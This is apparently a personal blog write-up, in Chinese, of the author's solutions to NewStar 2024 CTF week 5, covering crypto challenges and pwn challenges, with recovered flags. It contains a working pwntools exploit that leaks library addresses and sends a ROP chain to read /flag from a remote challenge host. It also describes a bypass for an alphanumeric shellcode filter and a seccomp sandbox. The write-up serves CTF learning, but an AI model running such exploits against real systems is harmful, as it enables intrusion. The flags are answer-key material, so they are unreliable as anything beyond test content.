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[NewStar 2024] week5完结

article 2024/11/13 15:47:43

每次都需要用手机验证码登录，题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。

Crypto

没e也能完

这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p))

格格你好棒

给了a,b和提示((p+2*r) * 3*a + q) % b < 70 其中r是个短量。可以推出

3ap+6ra+q = kb+alpha 显然这里的k也就一两位，暂时弄个8爆破一下（别更他名字里的格）

for k in range(1,8):
    tp = k*b//(3*a)
    if tp.nbits()==512:
        print(tp)
        tq = k*b - tp*3*a 
        for i in range(70):
            q = tq + i 
            if isPrime(q):
                print(long_to_bytes(int(pow(c,inverse_mod(0x10001,q-1),q))))

这个代码有点斜，从一开始就吐槽python是多么神经非要用空格代替块标记。为了减少缩进还要用逆向的规则not continue。就不用逆向的，就斜着写。python最大的缺点应该就是用空格代替块标记吧。

easy_ECC

把给的数代进去就行

#C1 = m + r*K = m +r*k*G  = m + k*C2
#C1 - k*C2 = m
E = EllipticCurve(GF(p),[a,b])
C1,C2 = E(c1),E(c2)
m = C1 - k*C2
x,y = m.xy()
long_to_bytes(int(c_left*inverse_mod(int(x),p)%p))+long_to_bytes(int(c_right*inverse_mod(int(y),p)%p))
#flag{This_is_the_last_crypto_}

RSA?md5!

flag就差7个字节，copper一下就行

hm0 = pow(s,e,n)
hm = long_to_bytes(int(hm0))
#b'86133884de98baada58a8c4de66e15b8'
#部分明文已知
#flag = 'flag{th1s_1s_my_k3y:' + m + '0x86133884de98baada58a8c4de66e15b8}'
P.<x> = PolynomialRing(Zmod(n))
f = (x*256^35 + bytes_to_long(b'flag{th1s_1s_my_k3y:')*256^(35+7) + bytes_to_long(b'0x86133884de98baada58a8c4de66e15b8}'))^e - c 
#res = f.monic().small_roots(X=256^7)
#res
#long_to_bytes(int(res[0]))
#cmd5查询
m0 = 'adm0n12'
get_flag(m0)
#flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}

学以致用

3个方程2个未知数，度又很低，直接求groebner_basis

gift = b'GoOd_byE_nEw_5t@r'
m3 = bytes_to_long(gift)
P.<m1,m2> = PolynomialRing(Zmod(n))
f1 = m1^3 - c1
f2 = m2^3 - c2 
f3 = (m1+m2+m3)^3 - c3 

F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)

res=[x.constant_coefficient() for x in I]
m1 = -res[0]%n
m2 = -res[1]%n
long_to_bytes(int(m1))
long_to_bytes(int(m2))
#flag{W1Sh_you_Bec0me_an_excelL3nt_crypt0G2@pher}

PWN

C_or_CPP

先是c输入的时候泄露残留得到ld（一般是libc，不过ld也有对应的可执行块和pop_rdi等gadget）然后是c++到c复制的时候有溢出。这锅都让C背了

from pwn import *
context(arch='amd64', log_level='debug')

ld = ELF('./ld-linux-x86-64.so.2')
libc = ELF('./libc.so.6')
elf = ELF('./C_or_CPP')

#p = process('./C_or_CPP')
p = remote('47.104.11.21', 32794)

p.sendlineafter(b"Please choose an option: ", b'2')
p.recvuntil(b"Address of c_string: ")
stack = int(p.recvline(), 16) +0x70
p.sendlineafter(b"C++ String input: ", b'END')
p.sendafter(b"C String input: ", b'A'*0x50)
p.recvuntil(b'A'*0x50)
ld_base = u64(p.recv(6)+b'\0\0') - 0x3a040
pop_rdi = ld_base + 0x000000000000351e # pop rdi ; ret
pop_rsi = ld_base + 0x00000000000054da # pop rsi ; ret
pop_rdx = ld_base + 0x0000000000020323 # pop rdx ; pop rbx ; ret
pop_rax_rdx = ld_base + 0x0000000000020322 # pop rax ; pop rdx ; pop rbx ; ret
print(f"{stack = :x} {ld_base = :x}")

p.sendlineafter(b"Please choose an option: ", b'5')
p.sendlineafter(b"Try to say something: ", flat(b'\0'*0x48, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x402e4a))
libc.address = u64(p.recv(6) + b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")

#gdb.attach(p, "b*0x402f8b\nc")
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret

syscall = libc.sym['getpid']+9
p.sendlineafter(b"Try to say something: ", flat([b'/flag\0\0\0'*8,0,  
    pop_rdi, stack, pop_rsi, 0, pop_rax,2,syscall,
    pop_rdi, 3, pop_rsi, 0x408800, pop_rax_rdx, 0,0x50,0, syscall,
    pop_rdi, 1, pop_rax, 1, syscall
    ]))


p.interactive()

simple_shellcode

以下待完成。这个的漏洞在于当输入中包含非字母时会删除，但是指针i并不会在原地保留继续检查，而是像正常指针一样移到下一个，比如当前是2，删除后3会变为2而下个检查是3，这样不合法的字节写两遍即可绕过检查。也可以用字母写shellcode就是麻烦点。对于每次只能输入8字节，就每次输入8字节就行了多输入几次。

然后对于沙箱用openat代替read用mmap代替read用writev代码write